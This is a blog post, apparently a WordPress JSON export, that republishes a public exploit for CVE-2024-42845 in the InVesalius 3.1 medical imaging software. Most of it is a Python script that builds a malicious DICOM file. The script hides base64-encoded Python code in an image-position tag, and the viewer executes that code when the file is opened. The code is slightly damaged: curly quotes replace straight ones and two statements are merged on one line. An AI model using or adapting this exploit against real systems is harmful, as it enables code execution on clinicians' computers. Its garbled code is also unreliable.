# Exploit Title: Invesalius 3.1 – Remote Code Execution (RCE)
# Discovered By: Riccardo Degli Esposti (partywave), Alessio Romano (sfoffo)
# Exploit Author: Riccardo Degli Esposti (partywave), Alessio Romano (sfoffo)
# Vendor Homepage: https:\/\/invesalius.github.io\/
# Software Link: https:\/\/github.com\/invesalius\/invesalius3\/tree\/master\/invesalius
# Version: 3.1.99991 to 3.1.99998
# Tested on: Windows
# CVE-ID: CVE-2024-42845
# External references: https:\/\/www.partywave.site\/show\/research\/Tic%20TAC%20-%20Beware%20of%20your%20scan, https:\/\/notes.sfoffo.com\/contributions\/2024-contributions\/cve-2024-42845<\/p>\n
###
# exploit to create the malicious DICOM file
###<\/p>\n
import pydicom
import base64
import argparse<\/p>\n
pydicom.config.settings.reading_validation_mode = pydicom.config.IGNORE<\/p>\n
def encode_payload(plain_payload):
data = open(plain_payload, ‘rb’).read()
return f”exec(__import__(‘base64’).b64decode({base64.b64encode(data)})”<\/p>\n
def prepare_dicom_payload(dicom_file_path, sign, payload):
try:
dicom_data = pydicom.dcmread(dicom_file_path)
if sign:
dicom_data.Manufacturer = “Malicious DICOM file creator”
dicom_data.InstitutionName = “Malicious DICOM file institution”<\/p>\n
values = dicom_data[0x0020, 0x0032].value
mal = [str(i) for i in values]mal.append(encode_payload(payload))<\/p>\n
except pydicom.errors.InvalidDicomError:
print(“The file is not a valid DICOM file.”)
except Exception as e:
print(f”An error occurred: {e}”)<\/p>\n
return mal<\/p>\n
def modify_dicom_field(dicom_file_path, malicious_tag, outfile):
try:
dicom_dataset = pydicom.dcmread(dicom_file_path)
elem = pydicom.dataelem.DataElement(0x00200032, ‘CS’, malicious_tag)
dicom_dataset[0x00200032] = elem
print(dicom_dataset)
dicom_dataset.save_as(outfile)
except Exception as e:
print(f”An error occurred: {e}”)<\/p>\n
if __name__ == “__main__”:
parser = argparse.ArgumentParser(description=’Read a DICOM file.’)
parser.add_argument(‘–dicom’, required=True, help=’Path to the input DICOM file’)
parser.add_argument(‘–outfile’, required=True, help=’Path to the output DICOM file’)
parser.add_argument(‘–payload’, required=False, default=b”print(‘Test’)”, help=’File that contains the malicious plain python3 code’)
parser.add_argument(‘–signature’, required=False, default=True)<\/p>\n
args = parser.parse_args()
dicom_infile_path = args.dicom
dicom_outfile_path = args.outfile<\/p>\n
tmp_tag = prepare_dicom_payload(dicom_infile_path, sign=args.signature, payload=args.payload)
if tmp_tag:
malicious_tag = ‘\\\\’.join(tmp_tag)<\/p>\n
modify_dicom_field(dicom_infile_path, malicious_tag, dicom_outfile_path)
exit(0)
else:
exit(1)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Invesalius 3.1 – Remote Code Execution (RCE)# Discovered By: Riccardo Degli Esposti (partywave), Alessio Romano (sfoffo)# Exploit Author: Riccardo Degli Esposti (partywave), Alessio Romano (sfoffo)# Vendor Homepage: https:\/\/invesalius.github.io\/# Software Link: https:\/\/github.com\/invesalius\/invesalius3\/tree\/master\/invesalius# Version: 3.1.99991 to 3.1.99998# Tested on: Windows# CVE-ID: CVE-2024-42845# External references: https:\/\/www.partywave.site\/show\/research\/Tic%20TAC%20-%20Beware%20of%20your%20scan, https:\/\/notes.sfoffo.com\/contributions\/2024-contributions\/cve-2024-42845 #### exploit to create the malicious DICOM file### …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59155","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59155","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59155"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59155\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59155"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59155"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59155"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}